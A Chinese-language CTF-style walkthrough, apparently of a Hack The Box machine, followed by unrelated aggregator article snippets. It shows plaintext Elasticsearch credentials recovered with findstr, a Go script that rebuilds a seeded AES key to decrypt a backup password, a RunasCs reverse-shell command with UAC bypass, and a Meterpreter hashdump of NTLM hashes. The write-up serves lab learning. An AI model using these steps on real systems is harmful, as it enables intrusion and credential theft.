* 2023-04-22: Got the copy of the backdoor, running in sandbox# Refrences* https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph
* https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener
* https://www.darkreading.com/threat-intelligence/custom-naplistener-malware-network-based-detection-sleep

這就是解釋,user 部分的shell是如何而來的

no-more-laps.md

---
title: "**INTERNAL** Getting rid of LAPS"
description: Replacing LAPS with out own custom solution
date: 2023-07-01
draft: true 
tags: [internal, sysadmin] ---# IntroWe are getting rid of LAPS in favor of our own custom solution. 
The password for the `backup` user will be stored in the local Elastic DB.IT will deploy the decryption client to the admin desktops once it it ready. We do expect the development to be ready soon. The Malware RE team will be the first test group.

這個posts主要表達了,不想用原本系統自帶的LAPS ,就是本地實現了 LAPS

a.exe

在這里插入圖片描述

在這里插入圖片描述

在這里插入圖片描述

用strings 命令看了一下,程序是使用go編譯的

在這里插入圖片描述

在這里插入圖片描述

看到pass的字樣,估計是生成密碼用的一個程序

Target機器上運行的效果

在這里插入圖片描述

Ghidra

https://www.notion.so

在這里插入圖片描述

gotools -Ghidra 插件

https://github.com/felberj/gotoolsttps://github.com/felberj/gotools

在這里插入圖片描述

裝了插件后,基本上可以以go代碼的格式去逆向了

臣妾做不到

elasticsearch

系統開放了 9200 和 9300 端口,9200默認是elasticsearch服務的端口,并且在 Programa Files 也看到了 elasticsearch 相關的文件夾,所以肯定是啟動了一個這個服務,通過搭建frp代理到內網

在這里插入圖片描述

發現需要認證

reset-password.bat

在這里插入圖片描述

想嘗試直接重設置密碼 失敗了,權限不夠

password

在這里插入圖片描述
通過檢索關鍵字 password

c:\Program Files\elasticsearch-8.8.0>findstr /S /C:\"password\" *.*
findstr /S /C:\"password\" *.*
data\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index\_l9.cfs:vc1^3H`YV`^\]MY�"�&���j��������{"doc_type":"api_key"      ","creati�on_time":1686219630330,"expir 3214 H�_invalidated":false,dPey_ha�Osh":"{PBKDF2}10000$EVlYHJWcRa4vrNN NXnZJBZz4C+xGF0H/kwh8O8sZVIvE=$LjOO6DC1KVFxv5H8vQpqzoXANMUW85�p1S/6EwkvdCto=","role_descriptors":{+�e_enrollme ent_tokenluster":["c�:admin/xpack�$/security/enroll/kibana"],"indices":[],"applicationSrun_a�metadata":{},"kP:"rol�%e"}},"limited_by_role_descriptors":{"_xpack_security�cluster":["all"],"indices":[{"names":["*"],"privile eges":["all�allow_restricted_indic#�true}],"application9�],"run_a`"*"],"�metadata":{"_reserved":true},"5�role"}},"namE�enrollment_token_APIV�_-iaFmogBapOk5rX4�"ppbr","version":8080099,"metadata_flattened":null9�or":{"p  p�metadata":{},"realm":"__attach"Z�}}�reserv�5ed-user-elasticI{"password":"oKHzjZw0EGcRxT2cux5K","enable       ed":true,"[�reserved-user"}���role-user1�{"cluster":["monitor"],"indices":[{"names":["seed","us ser*"],"privileges":["read","monitor","write","index","create_index"],"allow_restricted_indices":false}],"applications":[],"run_as":[],"metadata":{},"type":"role"}data\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index\_l9.cfs:�user-usper�{"    �name":"us�er","password":"$2a$�10$DC   CQ36PF2/5xpG.xPC�eWa4..L1Hxa0O4zfJb/I�E1SuKkwKZ8xsqs/a","r�oles":["�1"],"ful�l_name":null,"email"�:null,"met   tadata":nul�l,"enabled":true,"ty�pe":"user"}(�����>?�lLucene90DocValuesMetadataU?YH�%���??
data\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index\_la.cfs:�user-usper�{"    �name":"us�er","password":"$2a$�10$bk   kpktweivPxeEfYac�3fTdumooY22FmKS8MLvM�4Gta.2jnbcicYMpC","r�oles":["�1"],"ful�l_name":null,"email"�:null,"met   tadata":nul�l,"enabled":true,"ty�pe":"user"}(��k��?�lLucene90DocValuesMetadataU?YH�%���??
WindWindWindWindWindWindWindWindWindWindWindWindWindWindWindWindWind

查找有password字樣的文件

看到 elastic 的字樣 這個是elastic應用默認用戶

elastic:oKHzjZw0EGcRxT2cux5K

Elastic利用

Referer: https://book.hacktricks.xyz/network-services-pentesting/9200-pentesting-elasticsearch

在這里插入圖片描述

在這里插入圖片描述

decrept.go

package mainimport ("crypto/aes""crypto/cipher""encoding/base64""fmt""log""math/rand""os""strconv"
)func checkErr(err error) {if err != nil {log.Fatal(err)}
}func genKey(seed int) (key []byte) {rand.Seed(int64(seed))for i := 0; i < 0x10; i++ {val := rand.Intn(0xfe)key = append(key, byte(val+1))}return
}func decrypt(seed int, enc []byte) (data []byte) {fmt.Printf("Seed: %v\n", seed)key := genKey(seed)fmt.Printf("Key: %v\n", key)iv := enc[:aes.BlockSize]fmt.Printf("IV: %v\n", iv)data = enc[aes.BlockSize:]block, err := aes.NewCipher(key)checkErr(err)stream := cipher.NewCFBDecrypter(block, iv)stream.XORKeyStream(data, data)fmt.Printf("Plaintext: %s\n", data)return
}func main() {if len(os.Args) != 3 {return}seed, err := strconv.Atoi(os.Args[1])checkErr(err)enc, err := base64.URLEncoding.DecodeString(os.Args[2])checkErr(err)decrypt(seed, enc)
}

seed : 74465667

blob:O35TK3-KAkZTFXOMg74Mg7-FOevSqLkiApWe5ASfxOWTG_VN1_3GArPwiJ24QwStVUny9P1UO14

在這里插入圖片描述
這里要快,因為密碼會變

在這里插入圖片描述

成功登錄,這裏手速要快

RunasCs.exe

RunasCs.exe backup JfjKHVwoMBMfcMUiXcHEENabbFkVhaVdJCEfgLgP cmd.exe -r ip:4443 --bypass-uac

記得加上uac bypass的參數
在這里插入圖片描述

C:\Windows\system32>whoami /priv 
whoami /privPRIVILEGES INFORMATION
----------------------Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session EnabledC:\Windows\system32>net user backup
net user backup
User name                    backup
Full Name                    backup
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              NeverPassword last set            11/16/2023 8:04:26 AM
Password expires             Never
Password changeable          11/16/2023 8:04:26 AM
Password required            Yes
User may change password     YesWorkstations allowed         All
Logon script
User profile
Home directory
Last logon                   11/16/2023 8:07:33 AMLogon hours allowed          AllLocal Group Memberships      *Administrators
Global Group memberships     *None
The command completed successfully.

hashdump

msf6 exploit(multi/handler) > run[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (200774 bytes) to 10.10.11.240[*] Meterpreter session 2 opened (10.10.16.51:4444 -> 10.10.11.240:60899) at 2023-11-17 00:13:38 +0800meterpreter >
meterpreter >
meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ed5cc50d93a33729acd6df740eecd86c:::
backup:1003:aad3b435b51404eeaad3b435b51404ee:27677b65894bd739fce123f0cb53b0bd:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
example:1002:aad3b435b51404eeaad3b435b51404ee:4da4a64845e9fbf07e0f7e236ca82694:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ruben:1001:aad3b435b51404eeaad3b435b51404ee:ae5917c26194cec4fc402490c7a919a7:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:49c2f41a954679b5f3a7ef12deab11e4:::

In Summary

user 通過 訪問web,觀看post,枚舉子域名找到 NapListenner

root 通過 findst 命令找到敏感文件 es的密碼,逆向a.exe (還得暗羽師傅)

拿到憑證后,Runas 啟動新進程

碎碎念

看來我寫的東西還是有人喜歡的哈哈 有人催我更新了,共勉!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/165101.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/165101.shtml
英文地址,請注明出處:http://en.pswp.cn/news/165101.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

gitee推薦-SAPI++

一下內容來自gitee。 SaaS-Apps-Engine: 智者|SAPI是多應用、多租戶SaaS應用引擎&#xff0c;支持&#xff08;小程序/公眾號/輕應用/企微/抖音/支付寶/百度&#xff09;等多平臺應用。基于ThinkPHP6.1/8.0原生多應用模式開發&#xff0c;簡潔、高效、易擴展。集成強大的權限控…

適用于電腦的5個免費文件恢復軟件分享

適用于電腦的最佳免費文件恢復軟件 任何計算機用戶都可能經歷過丟失重要文件的恐懼。重要數據的丟失可能會令人不安和沮喪&#xff0c;無論是由于不小心刪除、計算機故障還是硬盤格式化造成的。幸運的是&#xff0c;在數字時代&#xff0c;您可以使用值得信賴的解決方案檢索這些…

好工具|datamap,一個好用的地圖可視化Excel插件,在Excel中實現地理編碼、拾取坐標

在做VRP相關研究的時候&#xff0c;需要對地圖數據做很多處理&#xff0c;比如地理編碼&#xff0c;根據“重慶市沙坪壩區沙正街174號”這樣的一個文本地址知道他的經緯度&#xff1b;再比如繪制一些散點圖&#xff0c;根據某個位置的經緯度在地圖上把它標注出來。還有有的時候…

vue + docxtemplater 導出 word 文檔

一、痛點 word 導出 這種功能其實之前都是后端實現的&#xff0c;但最近有個項目沒得后端。所以研究下前端導出。 ps&#xff1a; 前端還可以導出 pdf&#xff0c;但是其分頁問題需要話精力去計算才可能實現&#xff0c;并且都不是很完善。可參考之前的文章&#xff1a;利用 h…

MIT6.824-Raft筆記:腦裂、Majority Vote(過半投票/過半選舉)

本部分主要是問題引入&#xff0c;以及給出一個解決方案 1 腦裂&#xff08;Split Brain&#xff09; replication system的共同點&#xff1a;單點 前面幾個容錯特性&#xff08;fault-tolerant&#xff09;的系統&#xff0c;有一個共同的特點。 MapReduce復制了計算&…

JavaScript框架 Angular、React、Vue.js 的全棧解決方案比較

在 Web 開發領域&#xff0c;JavaScript 提供大量技術棧可供選擇。其中最典型的三套組合&#xff0c;分別是 MERN、MEAN 和 MEVN。前端框架&#xff08;React、Angular 和 Vue&#xff09;進行簡化比較。 MERN 技術棧詳解 MERN 技術棧包含四大具體組件&#xff1a; MongoDB&am…

藍橋杯物聯網競賽_STM32L071_3_Oled顯示

地位&#xff1a; 對于任何一門編程語言的學習&#xff0c;print函數毫無疑問是一種最好的調試手段&#xff0c;調試者不僅能通過它獲取程序變量的運行狀態而且通過對其合理使用獲取程序的運行流程&#xff0c;更能通過關鍵變量的輸出幫你驗證推理的正確與否&#xff0c;樸素的…

常見網絡安全防護

1 阻斷服務攻擊&#xff08;DOS&#xff09; 阻斷服務攻擊&#xff0c;想辦法目標網絡資源用盡變種&#xff1a;分布式阻斷服務攻擊 影響&#xff1a; 寬帶消耗性&#xff08;消耗目標的帶寬&#xff09;資源消耗型&#xff08;消耗目標的計算資源&#xff09; 解決方案&am…

人工智能對網絡安全的影響越來越大

如果問當前IT行業最熱門的話題是什么&#xff0c;很少有人會回答除了人工智能&#xff08;AI&#xff09;之外的任何話題。 在不到 12 個月的時間里&#xff0c;人工智能已經從一項只有 IT 專業人員才能理解的技術發展成為從小學生到作家、程序員和藝術家的每個人都使用的工具…

MySQL索引事務基礎

目錄 1. 索引 1.1索引的概念 1.2索引的特點 1.3 索引的使用場景 1.4索引的使用 1.4.1查看索引 1.4.2創建索引 1.4.3刪除索引 1.5索引保存的數據結構 2.事務 2.1經典例子 2.2事務的概念 2.3事務的使用 2.4事務的4個核心特性 2.5事務的并發問題 2.5.1臟讀 2.5.2不可…

Python + Docker 還是 Rust + WebAssembly?

在不斷發展的技術世界中&#xff0c;由大語言模型驅動的應用程序&#xff0c;通常被稱為“LLM 應用”&#xff0c;已成為各種行業技術創新背后的驅動力。隨著這些應用程序的普及&#xff0c;用戶需求的大量涌入對底層基礎設施的性能、安全性和可靠性提出了新的挑戰。 Python 和…

Java項目如何打包成Jar(最簡單)

最簡單的辦法&#xff0c;使用Maven插件&#xff08;idea自帶&#xff09; 1.選擇需要打包的mudule&#xff0c;點擊idea右側的maven插件 2.clean操作 3.選擇需要的其他mudule&#xff0c;進行install操作&#xff08;如果有&#xff09; 4.再次選擇需要打包的module&#…

Vue.observable 是什么

Observable 翻譯過來我們可以理解成可觀察的 Vue.js2.6 新增 Vue.observable&#xff0c;讓一個對象變成響應式數據。Vue 內部會用它來處理 data 函數返回的對象 。 返回的對象可以直接用于渲染函數和計算屬性內&#xff0c;并且會在發生變更時觸發相應的更新。也可以作為最小化…

Git的指令

Git 各平臺安裝包下載地址為&#xff1a;http://git-scm.com/downloads Ubuntu Git 安裝命令為&#xff1a; $ apt-get install git用戶信息 配置個人的用戶名稱和電子郵件地址&#xff1a; $ git config --global user.name "runoob" $ git config --global user.…

Python----類對象和實例對象

目錄 一.類和類的實例 二.類屬性和實例屬性 三.私有屬性和公有屬性 四.靜態方法和類方法 五.__init__方法&#xff0c;__new__方法和__del__方法&#xff1a; 六.私有方法和公有方法 七.方法的重載 八.方法的繼承 九.方法的重寫 十.對象的特殊方法 十一.對象的引用&a…

軟件開發模式開源和閉源的優劣之爭

開源和閉源&#xff0c;兩種截然不同的開發模式&#xff0c;對于大模型的發展有著重要影響。開源讓技術共享&#xff0c;吸引了眾多人才加入&#xff0c;推動了大模的創新。而閉源則保護了商業利益和技術優勢&#xff0c;為大模型的商業應用提供了更好的保障。 開源與閉源軟件的…

基于命令行模式設計退款請求處理

前言 這篇文章的業務背景是基于我的另一篇文章: 對接蘋果支付退款退單接口-CSDN博客 然后就是說設計模式是很開放的東西,可能我覺得合適,你可能覺得不合適,這里只是做下討論,沒有一定要各位同意的意思.... 相關圖文件 這里我先把相關的圖文件放上來,可能看著會比較清晰點 代碼邏…

sql之left join、right join、inner join的區別

sql之left join、right join、inner join的區別 left join(左聯接) 返回包括左表中的所有記錄和右表中聯結字段相等的記錄 right join(右聯接) 返回包括右表中的所有記錄和左表中聯結字段相等的記錄 inner join(等值連接) 只返回兩個表中聯結字段相等的行 舉例如下&#xff1…

Web服務器(go net/http) 處理Get、Post請求

大家好 我是寸鐵&#x1f44a; 總結了一篇Go Web服務器(go net/http) 處理Get、Post請求的文章? 喜歡的小伙伴可以點點關注 &#x1f49d; 前言 go http請求如何編寫簡單的函數去拿到前端的請求(Get和Post) 服務器(后端)接收到請求后&#xff0c;又是怎么處理請求&#xff0c…

【限時免費】20天拿下華為OD筆試之【前綴和】2023B-尋找連續區間【歐弟算法】全網注釋最詳細分類最全的華為OD真題題解

文章目錄 題目描述與示例題目描述輸入描述輸出描述示例一輸入輸出說明 示例二輸入輸出 解題思路代碼PythonJavaC時空復雜度 華為OD算法/大廠面試高頻題算法練習沖刺訓練 題目描述與示例 題目描述 給定一個含有N個正整數的數組&#xff0c;求出有多少個連續區間&#xff08;包…